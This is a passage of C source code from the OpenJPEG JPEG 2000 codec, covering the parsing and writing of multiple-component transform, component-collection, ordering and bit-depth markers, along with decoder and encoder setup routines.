opj_j2k_read_mct(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 i; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_tmp; OPJ_UINT32 l_indix; opj_mct_data_t * l_mct_data; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); l_tcp = p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH ? &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCT marker\n"); return OPJ_FALSE; } /* first marker */ opj_read_bytes(p_header_data, &l_tmp, 2); /* Zmct */ p_header_data += 2; if (l_tmp != 0) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge mct data within multiple MCT records\n"); return OPJ_TRUE; } if (p_header_size <= 6) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCT marker\n"); return OPJ_FALSE; } /* Imct -> no need for other values, take the first, type is double with decorrelation x0000 1101 0000 0000*/ opj_read_bytes(p_header_data, &l_tmp, 2); /* Imct */ p_header_data += 2; l_indix = l_tmp & 0xff; l_mct_data = l_tcp->m_mct_records; for (i = 0; i < l_tcp->m_nb_mct_records; ++i) { if (l_mct_data->m_index == l_indix) { break; } ++l_mct_data; } /* NOT FOUND */ if (i == l_tcp->m_nb_mct_records) { if (l_tcp->m_nb_mct_records == l_tcp->m_nb_max_mct_records) { opj_mct_data_t *new_mct_records; l_tcp->m_nb_max_mct_records += OPJ_J2K_MCT_DEFAULT_NB_RECORDS; new_mct_records = (opj_mct_data_t *) opj_realloc(l_tcp->m_mct_records, l_tcp->m_nb_max_mct_records * sizeof(opj_mct_data_t)); if (! new_mct_records) { opj_free(l_tcp->m_mct_records); l_tcp->m_mct_records = NULL; l_tcp->m_nb_max_mct_records = 0; l_tcp->m_nb_mct_records = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read MCT marker\n"); return OPJ_FALSE; } /* Update m_mcc_records[].m_offset_array and m_decorrelation_array * to point to the new addresses */ if (new_mct_records != l_tcp->m_mct_records) { for (i = 0; i < l_tcp->m_nb_mcc_records; ++i) { opj_simple_mcc_decorrelation_data_t* l_mcc_record = &(l_tcp->m_mcc_records[i]); if (l_mcc_record->m_decorrelation_array) { l_mcc_record->m_decorrelation_array = new_mct_records + (l_mcc_record->m_decorrelation_array - l_tcp->m_mct_records); } if (l_mcc_record->m_offset_array) { l_mcc_record->m_offset_array = new_mct_records + (l_mcc_record->m_offset_array - l_tcp->m_mct_records); } } } l_tcp->m_mct_records = new_mct_records; l_mct_data = l_tcp->m_mct_records + l_tcp->m_nb_mct_records; memset(l_mct_data, 0, (l_tcp->m_nb_max_mct_records - l_tcp->m_nb_mct_records) * sizeof(opj_mct_data_t)); } l_mct_data = l_tcp->m_mct_records + l_tcp->m_nb_mct_records; ++l_tcp->m_nb_mct_records; } if (l_mct_data->m_data) { opj_free(l_mct_data->m_data); l_mct_data->m_data = 00; l_mct_data->m_data_size = 0; } l_mct_data->m_index = l_indix; l_mct_data->m_array_type = (J2K_MCT_ARRAY_TYPE)((l_tmp >> 8) & 3); l_mct_data->m_element_type = (J2K_MCT_ELEMENT_TYPE)((l_tmp >> 10) & 3); opj_read_bytes(p_header_data, &l_tmp, 2); /* Ymct */ p_header_data += 2; if (l_tmp != 0) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple MCT markers\n"); return OPJ_TRUE; } p_header_size -= 6; l_mct_data->m_data = (OPJ_BYTE*)opj_malloc(p_header_size); if (! l_mct_data->m_data) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCT marker\n"); return OPJ_FALSE; } memcpy(l_mct_data->m_data, p_header_data, p_header_size); l_mct_data->m_data_size = p_header_size; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_mcc_record(opj_j2k_t *p_j2k, struct opj_simple_mcc_decorrelation_data * p_mcc_record, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 i; OPJ_UINT32 l_mcc_size; OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_nb_bytes_for_comp; OPJ_UINT32 l_mask; OPJ_UINT32 l_tmcc; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); if (p_mcc_record->m_nb_comps > 255) { l_nb_bytes_for_comp = 2; l_mask = 0x8000; } else { l_nb_bytes_for_comp = 1; l_mask = 0; } l_mcc_size = p_mcc_record->m_nb_comps * 2 * l_nb_bytes_for_comp + 19; if (l_mcc_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mcc_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write MCC marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_mcc_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_MCC, 2); /* MCC */ l_current_data += 2; opj_write_bytes(l_current_data, l_mcc_size - 2, 2); /* Lmcc */ l_current_data += 2; /* first marker */ opj_write_bytes(l_current_data, 0, 2); /* Zmcc */ l_current_data += 2; opj_write_bytes(l_current_data, p_mcc_record->m_index, 1); /* Imcc -> no need for other values, take the first */ ++l_current_data; /* only one marker atm */ opj_write_bytes(l_current_data, 0, 2); /* Ymcc */ l_current_data += 2; opj_write_bytes(l_current_data, 1, 2); /* Qmcc -> number of collections -> 1 */ l_current_data += 2; opj_write_bytes(l_current_data, 0x1, 1); /* Xmcci type of component transformation -> array based decorrelation */ ++l_current_data; opj_write_bytes(l_current_data, p_mcc_record->m_nb_comps | l_mask, 2); /* Nmcci number of input components involved and size for each component offset = 8 bits */ l_current_data += 2; for (i = 0; i < p_mcc_record->m_nb_comps; ++i) { opj_write_bytes(l_current_data, i, l_nb_bytes_for_comp); /* Cmccij Component offset*/ l_current_data += l_nb_bytes_for_comp; } opj_write_bytes(l_current_data, p_mcc_record->m_nb_comps | l_mask, 2); /* Mmcci number of output components involved and size for each component offset = 8 bits */ l_current_data += 2; for (i = 0; i < p_mcc_record->m_nb_comps; ++i) { opj_write_bytes(l_current_data, i, l_nb_bytes_for_comp); /* Wmccij Component offset*/ l_current_data += l_nb_bytes_for_comp; } l_tmcc = ((!p_mcc_record->m_is_irreversible) & 1U) << 16; if (p_mcc_record->m_decorrelation_array) { l_tmcc |= p_mcc_record->m_decorrelation_array->m_index; } if (p_mcc_record->m_offset_array) { l_tmcc |= ((p_mcc_record->m_offset_array->m_index) << 8); } opj_write_bytes(l_current_data, l_tmcc, 3); /* Tmcci : use MCT defined as number 1 and irreversible array based. */ l_current_data += 3; if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mcc_size, p_manager) != l_mcc_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_mcc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, j; OPJ_UINT32 l_tmp; OPJ_UINT32 l_indix; opj_tcp_t * l_tcp; opj_simple_mcc_decorrelation_data_t * l_mcc_record; opj_mct_data_t * l_mct_data; OPJ_UINT32 l_nb_collections; OPJ_UINT32 l_nb_comps; OPJ_UINT32 l_nb_bytes_by_comp; OPJ_BOOL l_new_mcc = OPJ_FALSE; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_tcp = p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH ? &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } /* first marker */ opj_read_bytes(p_header_data, &l_tmp, 2); /* Zmcc */ p_header_data += 2; if (l_tmp != 0) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple data spanning\n"); return OPJ_TRUE; } if (p_header_size < 7) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_indix, 1); /* Imcc -> no need for other values, take the first */ ++p_header_data; l_mcc_record = l_tcp->m_mcc_records; for (i = 0; i < l_tcp->m_nb_mcc_records; ++i) { if (l_mcc_record->m_index == l_indix) { break; } ++l_mcc_record; } /** NOT FOUND */ if (i == l_tcp->m_nb_mcc_records) { if (l_tcp->m_nb_mcc_records == l_tcp->m_nb_max_mcc_records) { opj_simple_mcc_decorrelation_data_t *new_mcc_records; l_tcp->m_nb_max_mcc_records += OPJ_J2K_MCC_DEFAULT_NB_RECORDS; new_mcc_records = (opj_simple_mcc_decorrelation_data_t *) opj_realloc( l_tcp->m_mcc_records, l_tcp->m_nb_max_mcc_records * sizeof( opj_simple_mcc_decorrelation_data_t)); if (! new_mcc_records) { opj_free(l_tcp->m_mcc_records); l_tcp->m_mcc_records = NULL; l_tcp->m_nb_max_mcc_records = 0; l_tcp->m_nb_mcc_records = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read MCC marker\n"); return OPJ_FALSE; } l_tcp->m_mcc_records = new_mcc_records; l_mcc_record = l_tcp->m_mcc_records + l_tcp->m_nb_mcc_records; memset(l_mcc_record, 0, (l_tcp->m_nb_max_mcc_records - l_tcp->m_nb_mcc_records) * sizeof(opj_simple_mcc_decorrelation_data_t)); } l_mcc_record = l_tcp->m_mcc_records + l_tcp->m_nb_mcc_records; l_new_mcc = OPJ_TRUE; } l_mcc_record->m_index = l_indix; /* only one marker atm */ opj_read_bytes(p_header_data, &l_tmp, 2); /* Ymcc */ p_header_data += 2; if (l_tmp != 0) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple data spanning\n"); return OPJ_TRUE; } opj_read_bytes(p_header_data, &l_nb_collections, 2); /* Qmcc -> number of collections -> 1 */ p_header_data += 2; if (l_nb_collections > 1) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple collections\n"); return OPJ_TRUE; } p_header_size -= 7; for (i = 0; i < l_nb_collections; ++i) { if (p_header_size < 3) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tmp, 1); /* Xmcci type of component transformation -> array based decorrelation */ ++p_header_data; if (l_tmp != 1) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge collections other than array decorrelation\n"); return OPJ_TRUE; } opj_read_bytes(p_header_data, &l_nb_comps, 2); p_header_data += 2; p_header_size -= 3; l_nb_bytes_by_comp = 1 + (l_nb_comps >> 15); l_mcc_record->m_nb_comps = l_nb_comps & 0x7fff; if (p_header_size < (l_nb_bytes_by_comp * l_mcc_record->m_nb_comps + 2)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } p_header_size -= (l_nb_bytes_by_comp * l_mcc_record->m_nb_comps + 2); for (j = 0; j < l_mcc_record->m_nb_comps; ++j) { opj_read_bytes(p_header_data, &l_tmp, l_nb_bytes_by_comp); /* Cmccij Component offset*/ p_header_data += l_nb_bytes_by_comp; if (l_tmp != j) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge collections with indix shuffle\n"); return OPJ_TRUE; } } opj_read_bytes(p_header_data, &l_nb_comps, 2); p_header_data += 2; l_nb_bytes_by_comp = 1 + (l_nb_comps >> 15); l_nb_comps &= 0x7fff; if (l_nb_comps != l_mcc_record->m_nb_comps) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge collections without same number of indixes\n"); return OPJ_TRUE; } if (p_header_size < (l_nb_bytes_by_comp * l_mcc_record->m_nb_comps + 3)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } p_header_size -= (l_nb_bytes_by_comp * l_mcc_record->m_nb_comps + 3); for (j = 0; j < l_mcc_record->m_nb_comps; ++j) { opj_read_bytes(p_header_data, &l_tmp, l_nb_bytes_by_comp); /* Wmccij Component offset*/ p_header_data += l_nb_bytes_by_comp; if (l_tmp != j) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge collections with indix shuffle\n"); return OPJ_TRUE; } } opj_read_bytes(p_header_data, &l_tmp, 3); /* Wmccij Component offset*/ p_header_data += 3; l_mcc_record->m_is_irreversible = !((l_tmp >> 16) & 1); l_mcc_record->m_decorrelation_array = 00; l_mcc_record->m_offset_array = 00; l_indix = l_tmp & 0xff; if (l_indix != 0) { l_mct_data = l_tcp->m_mct_records; for (j = 0; j < l_tcp->m_nb_mct_records; ++j) { if (l_mct_data->m_index == l_indix) { l_mcc_record->m_decorrelation_array = l_mct_data; break; } ++l_mct_data; } if (l_mcc_record->m_decorrelation_array == 00) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } } l_indix = (l_tmp >> 8) & 0xff; if (l_indix != 0) { l_mct_data = l_tcp->m_mct_records; for (j = 0; j < l_tcp->m_nb_mct_records; ++j) { if (l_mct_data->m_index == l_indix) { l_mcc_record->m_offset_array = l_mct_data; break; } ++l_mct_data; } if (l_mcc_record->m_offset_array == 00) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } } } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } if (l_new_mcc) { ++l_tcp->m_nb_mcc_records; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_mco(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager ) { OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_mco_size; opj_tcp_t * l_tcp = 00; opj_simple_mcc_decorrelation_data_t * l_mcc_record; OPJ_UINT32 i; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tcp = &(p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]); l_mco_size = 5 + l_tcp->m_nb_mcc_records; if (l_mco_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mco_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write MCO marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_mco_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_MCO, 2); /* MCO */ l_current_data += 2; opj_write_bytes(l_current_data, l_mco_size - 2, 2); /* Lmco */ l_current_data += 2; opj_write_bytes(l_current_data, l_tcp->m_nb_mcc_records, 1); /* Nmco : only one transform stage*/ ++l_current_data; l_mcc_record = l_tcp->m_mcc_records; for (i = 0; i < l_tcp->m_nb_mcc_records; ++i) { opj_write_bytes(l_current_data, l_mcc_record->m_index, 1); /* Imco -> use the mcc indicated by 1*/ ++l_current_data; ++l_mcc_record; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mco_size, p_manager) != l_mco_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a MCO marker (Multiple Component Transform Ordering) * * @param p_header_data the data contained in the MCO box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCO marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mco(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_tmp, i; OPJ_UINT32 l_nb_stages; opj_tcp_t * l_tcp; opj_tccp_t * l_tccp; opj_image_t * l_image; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; l_tcp = p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH ? &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; if (p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCO marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_nb_stages, 1); /* Nmco : only one transform stage*/ ++p_header_data; if (l_nb_stages > 1) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple transformation stages.\n"); return OPJ_TRUE; } if (p_header_size != l_nb_stages + 1) { opj_event_msg(p_manager, EVT_WARNING, "Error reading MCO marker\n"); return OPJ_FALSE; } l_tccp = l_tcp->tccps; for (i = 0; i < l_image->numcomps; ++i) { l_tccp->m_dc_level_shift = 0; ++l_tccp; } if (l_tcp->m_mct_decoding_matrix) { opj_free(l_tcp->m_mct_decoding_matrix); l_tcp->m_mct_decoding_matrix = 00; } for (i = 0; i < l_nb_stages; ++i) { opj_read_bytes(p_header_data, &l_tmp, 1); ++p_header_data; if (! opj_j2k_add_mct(l_tcp, p_j2k->m_private_image, l_tmp)) { return OPJ_FALSE; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_add_mct(opj_tcp_t * p_tcp, opj_image_t * p_image, OPJ_UINT32 p_index) { OPJ_UINT32 i; opj_simple_mcc_decorrelation_data_t * l_mcc_record; opj_mct_data_t * l_deco_array, * l_offset_array; OPJ_UINT32 l_data_size, l_mct_size, l_offset_size; OPJ_UINT32 l_nb_elem; OPJ_UINT32 * l_offset_data, * l_current_offset_data; opj_tccp_t * l_tccp; /* preconditions */ assert(p_tcp != 00); l_mcc_record = p_tcp->m_mcc_records; for (i = 0; i < p_tcp->m_nb_mcc_records; ++i) { if (l_mcc_record->m_index == p_index) { break; } } if (i == p_tcp->m_nb_mcc_records) { /** element discarded **/ return OPJ_TRUE; } if (l_mcc_record->m_nb_comps != p_image->numcomps) { /** do not support number of comps != image */ return OPJ_TRUE; } l_deco_array = l_mcc_record->m_decorrelation_array; if (l_deco_array) { l_data_size = MCT_ELEMENT_SIZE[l_deco_array->m_element_type] * p_image->numcomps * p_image->numcomps; if (l_deco_array->m_data_size != l_data_size) { return OPJ_FALSE; } l_nb_elem = p_image->numcomps * p_image->numcomps; l_mct_size = l_nb_elem * (OPJ_UINT32)sizeof(OPJ_FLOAT32); p_tcp->m_mct_decoding_matrix = (OPJ_FLOAT32*)opj_malloc(l_mct_size); if (! p_tcp->m_mct_decoding_matrix) { return OPJ_FALSE; } j2k_mct_read_functions_to_float[l_deco_array->m_element_type]( l_deco_array->m_data, p_tcp->m_mct_decoding_matrix, l_nb_elem); } l_offset_array = l_mcc_record->m_offset_array; if (l_offset_array) { l_data_size = MCT_ELEMENT_SIZE[l_offset_array->m_element_type] * p_image->numcomps; if (l_offset_array->m_data_size != l_data_size) { return OPJ_FALSE; } l_nb_elem = p_image->numcomps; l_offset_size = l_nb_elem * (OPJ_UINT32)sizeof(OPJ_UINT32); l_offset_data = (OPJ_UINT32*)opj_malloc(l_offset_size); if (! l_offset_data) { return OPJ_FALSE; } j2k_mct_read_functions_to_int32[l_offset_array->m_element_type]( l_offset_array->m_data, l_offset_data, l_nb_elem); l_tccp = p_tcp->tccps; l_current_offset_data = l_offset_data; for (i = 0; i < p_image->numcomps; ++i) { l_tccp->m_dc_level_shift = (OPJ_INT32) * (l_current_offset_data++); ++l_tccp; } opj_free(l_offset_data); } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_cbd(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 i; OPJ_UINT32 l_cbd_size; OPJ_BYTE * l_current_data = 00; opj_image_t *l_image = 00; opj_image_comp_t * l_comp = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_image = p_j2k->m_private_image; l_cbd_size = 6 + p_j2k->m_private_image->numcomps; if (l_cbd_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_cbd_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write CBD marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_cbd_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_CBD, 2); /* CBD */ l_current_data += 2; opj_write_bytes(l_current_data, l_cbd_size - 2, 2); /* L_CBD */ l_current_data += 2; opj_write_bytes(l_current_data, l_image->numcomps, 2); /* Ncbd */ l_current_data += 2; l_comp = l_image->comps; for (i = 0; i < l_image->numcomps; ++i) { opj_write_bytes(l_current_data, (l_comp->sgnd << 7) | (l_comp->prec - 1), 1); /* Component bit depth */ ++l_current_data; ++l_comp; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_cbd_size, p_manager) != l_cbd_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a CBD marker (Component bit depth definition) * @param p_header_data the data contained in the CBD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the CBD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_cbd(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_nb_comp, l_num_comp; OPJ_UINT32 l_comp_def; OPJ_UINT32 i; opj_image_comp_t * l_comp = 00; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_num_comp = p_j2k->m_private_image->numcomps; if (p_header_size != (p_j2k->m_private_image->numcomps + 2)) { opj_event_msg(p_manager, EVT_ERROR, "Crror reading CBD marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_nb_comp, 2); /* Ncbd */ p_header_data += 2; if (l_nb_comp != l_num_comp) { opj_event_msg(p_manager, EVT_ERROR, "Crror reading CBD marker\n"); return OPJ_FALSE; } l_comp = p_j2k->m_private_image->comps; for (i = 0; i < l_num_comp; ++i) { opj_read_bytes(p_header_data, &l_comp_def, 1); /* Component bit depth */ ++p_header_data; l_comp->sgnd = (l_comp_def >> 7) & 1; l_comp->prec = (l_comp_def & 0x7f) + 1; if (l_comp->prec > 31) { opj_event_msg(p_manager, EVT_ERROR, "Invalid values for comp = %d : prec=%u (should be between 1 and 38 according to the JPEG2000 norm. OpenJpeg only supports up to 31)\n", i, l_comp->prec); return OPJ_FALSE; } ++l_comp; } return OPJ_TRUE; } /* ----------------------------------------------------------------------- */ /* J2K / JPT decoder interface */ /* ----------------------------------------------------------------------- */ void opj_j2k_setup_decoder(opj_j2k_t *j2k, opj_dparameters_t *parameters) { if (j2k && parameters) { j2k->m_cp.m_specific_param.m_dec.m_layer = parameters->cp_layer; j2k->m_cp.m_specific_param.m_dec.m_reduce = parameters->cp_reduce; j2k->dump_state = (parameters->flags & OPJ_DPARAMETERS_DUMP_FLAG); #ifdef USE_JPWL j2k->m_cp.correct = parameters->jpwl_correct; j2k->m_cp.exp_comps = parameters->jpwl_exp_comps; j2k->m_cp.max_tiles = parameters->jpwl_max_tiles; #endif /* USE_JPWL */ } } OPJ_BOOL opj_j2k_set_threads(opj_j2k_t *j2k, OPJ_UINT32 num_threads) { if (opj_has_thread_support()) { opj_thread_pool_destroy(j2k->m_tp); j2k->m_tp = NULL; if (num_threads <= (OPJ_UINT32)INT_MAX) { j2k->m_tp = opj_thread_pool_create((int)num_threads); } if (j2k->m_tp == NULL) { j2k->m_tp = opj_thread_pool_create(0); return OPJ_FALSE; } return OPJ_TRUE; } return OPJ_FALSE; } static int opj_j2k_get_default_thread_count() { const char* num_threads = getenv("OPJ_NUM_THREADS"); if (num_threads == NULL || !opj_has_thread_support()) { return 0; } if (strcmp(num_threads, "ALL_CPUS") == 0) { return opj_get_num_cpus(); } return atoi(num_threads); } /* ----------------------------------------------------------------------- */ /* J2K encoder interface */ /* ----------------------------------------------------------------------- */ opj_j2k_t* opj_j2k_create_compress(void) { opj_j2k_t *l_j2k = (opj_j2k_t*) opj_calloc(1, sizeof(opj_j2k_t)); if (!l_j2k) { return NULL; } l_j2k->m_is_decoder = 0; l_j2k->m_cp.m_is_decoder = 0; l_j2k->m_specific_param.m_encoder.m_header_tile_data = (OPJ_BYTE *) opj_malloc( OPJ_J2K_DEFAULT_HEADER_SIZE); if (! l_j2k->m_specific_param.m_encoder.m_header_tile_data) { opj_j2k_destroy(l_j2k); return NULL; } l_j2k->m_specific_param.m_encoder.m_header_tile_data_size = OPJ_J2K_DEFAULT_HEADER_SIZE; /* validation list creation*/ l_j2k->m_validation_list = opj_procedure_list_create(); if (! l_j2k->m_validation_list) { opj_j2k_destroy(l_j2k); return NULL; } /* execution list creation*/ l_j2k->m_procedure_list = opj_procedure_list_create(); if (! l_j2k->m_procedure_list) { opj_j2k_destroy(l_j2k); return NULL; } l_j2k->m_tp = opj_thread_pool_create(opj_j2k_get_default_thread_count()); if (!l_j2k->m_tp) { l_j2k->m_tp = opj_thread_pool_create(0); } if (!l_j2k->m_tp) { opj_j2k_destroy(l_j2k); return NULL; } return l_j2k; } static int opj_j2k_initialise_4K_poc(opj_poc_t *POC, int numres) { POC[0].tile = 1; POC[0].resno0 = 0; POC[0].compno0 = 0; POC[0].layno1 = 1; POC[0].resno1 = (OPJ_UINT32)(numres - 1); POC[0].compno1 = 3; POC[0].prg1 = OPJ_CPRL; POC[1].tile = 1; POC[1].resno0 = (OPJ_UINT32)(numres - 1); POC[1].compno0 = 0; POC[1].layno1 = 1; POC[1].resno1 = (OPJ_UINT32)numres; POC[1].compno1 = 3; POC[1].prg1 = OPJ_CPRL; return 2; } static void opj_j2k_set_cinema_parameters(opj_cparameters_t *parameters, opj_image_t *image, opj_event_mgr_t *p_manager) { /* Configure cinema parameters */ int i; /* No tiling */ parameters->tile_size_on = OPJ_FALSE; parameters->cp_tdx = 1; parameters->cp_tdy = 1; /* One tile part for each component */ parameters->tp_flag = 'C'; parameters->tp_on = 1; /* Tile and Image shall be at (0,0) */ parameters->cp_tx0 = 0; parameters->cp_ty0 = 0; parameters->image_offset_x0 = 0; parameters->image_offset_y0 = 0; /* Codeblock size= 32*32 */ parameters->cblockw_init = 32; parameters->cblockh_init = 32; /* Codeblock style: no mode switch enabled */ parameters->mode = 0; /* No ROI */ parameters->roi_compno = -1; /* No subsampling */ parameters->subsampling_dx = 1; parameters->subsampling_dy = 1; /* 9-7 transform */ parameters->irreversible = 1; /* Number of layers */ if (parameters->tcp_numlayers > 1) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "1 single quality layer" "-> Number of layers forced to 1 (rather than %d)\n" "-> Rate of the last layer (%3.1f) will be used", parameters->tcp_numlayers, parameters->tcp_rates[parameters->tcp_numlayers - 1]); parameters->tcp_rates[0] = parameters->tcp_rates[parameters->tcp_numlayers - 1]; parameters->tcp_numlayers = 1; } /* Resolution levels */ switch (parameters->rsiz) { case OPJ_PROFILE_CINEMA_2K: if (parameters->numresolution > 6) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 (2k dc profile) requires:\n" "Number of decomposition levels <= 5\n" "-> Number of decomposition levels forced to 5 (rather than %d)\n", parameters->numresolution + 1); parameters->numresolution = 6; } break; case OPJ_PROFILE_CINEMA_4K: if (parameters->numresolution < 2) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-4 (4k dc profile) requires:\n" "Number of decomposition levels >= 1 && <= 6\n" "-> Number of decomposition levels forced to 1 (rather than %d)\n", parameters->numresolution + 1); parameters->numresolution = 1; } else if (parameters->numresolution > 7) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-4 (4k dc profile) requires:\n" "Number of decomposition levels >= 1 && <= 6\n" "-> Number of decomposition levels forced to 6 (rather than %d)\n", parameters->numresolution + 1); parameters->numresolution = 7; } break; default : break; } /* Precincts */ parameters->csty |= 0x01; if (parameters->numresolution == 1) { parameters->res_spec = 1; parameters->prcw_init[0] = 128; parameters->prch_init[0] = 128; } else { parameters->res_spec = parameters->numresolution - 1; for (i = 0; i < parameters->res_spec; i++) { parameters->prcw_init[i] = 256; parameters->prch_init[i] = 256; } } /* The progression order shall be CPRL */ parameters->prog_order = OPJ_CPRL; /* Progression order changes for 4K, disallowed for 2K */ if (parameters->rsiz == OPJ_PROFILE_CINEMA_4K) { parameters->numpocs = (OPJ_UINT32)opj_j2k_initialise_4K_poc(parameters->POC, 